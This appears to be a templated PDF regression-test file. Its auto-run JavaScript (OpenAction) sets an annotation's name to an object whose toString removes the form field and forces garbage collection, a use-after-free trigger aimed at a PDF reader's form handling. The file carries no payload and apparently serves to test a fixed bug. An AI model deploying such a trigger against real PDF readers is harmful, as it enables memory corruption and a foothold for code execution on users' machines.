1{{header}} 2{{object 1 0}} << 3 /Type /Catalog 4 /Pages 2 0 R 5 /AcroForm 4 0 R 6 /OpenAction 10 0 R 7>> 8endobj 9{{object 2 0}} << 10 /Type /Pages 11 /Count 1 12 /Kids [ 13 3 0 R 14 ] 15>> 16endobj 17% Page number 0. 18{{object 3 0}} << 19 /Type /Page 20 /Parent 2 0 R 21 /Resources << 22 /Font <</F1 15 0 R>> 23 >> 24 /Contents [21 0 R] 25 /MediaBox [0 0 612 792] 26 /Annots [7 0 R 8 0 R 9 0 R] 27>> 28endobj 29% Forms 30{{object 4 0}} << 31 /XFA [ 32 (xdp:xdp) 23 0 R 33 (form) 29 0 R 34 (</xdp:xdp>) 30 0 R 35 ] 36 /Fields [ 37 5 0 R 38 ] 39>> 40endobj 41% Fields 42{{object 5 0}} << 43 /T (MyField) 44 /Kids [ 45 6 0 R 46 ] 47 /Rect [100 100 400 400] 48>> 49endobj 50{{object 6 0}} << 51 /Parent 5 0 R 52 /FT /Btn 53 /Kids [ 54 7 0 R 55 8 0 R 56 9 0 R 57 ] 58 /Rect [200 200 220 220] 59>> 60endobj 61{{object 7 0}} << 62 /Parent 6 0 R 63 /Type /Annot 64 /Subtype /Widget 65 /Rect [220 220 240 240] 66>> 67endobj 68{{object 8 0}} << 69 /Parent 6 0 R 70 /Type /Annot 71 /Subtype /Widget 72 /Rect [240 240 260 260] 73>> 74endobj 75{{object 9 0}} << 76 /Parent 6 0 R 77 /Type /Annot 78 /Subtype /Widget 79 /Rect [240 240 260 260] 80>> 81endobj 82% OpenAction action 83{{object 10 0}} << 84 /Type /Action 85 /S /JavaScript 86 /JS 11 0 R 87>> 88endobj 89% JS program to exexute 90{{object 11 0}} << 91>> 92stream 93var theName = "MyField"; 94function Mangles() { 95 app.alert('Starting ...'); 96 try { 97 var annots = this.getAnnots(); 98 annots[0].name = { 99 toString: () => { 100 app.alert('Firing ...'); 101 this.removeField(theName); 102 gc(); 103 return false; 104 } 105 }; 106 } catch (e) { 107 app.alert("failed: " + e); 108 } 109} 110Mangles(); 111endstream 112endobj 113{{object 23 0}} << 114>>stream 115<?xml version="1.0" encoding="UTF-8"?> 116<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"> 117endstream 118endobj 119{{object 29 0}} << 120>>stream 121<config></config> 122<template></template> 123endstream 124endobj 125{{object 30 0}} << 126>>stream 127</xdp:xdp> 128endstream 129endobj 130{{xref}} 131trailer << 132 /Root 1 0 R 133>> 134{{startxref}} 135%%EOF 136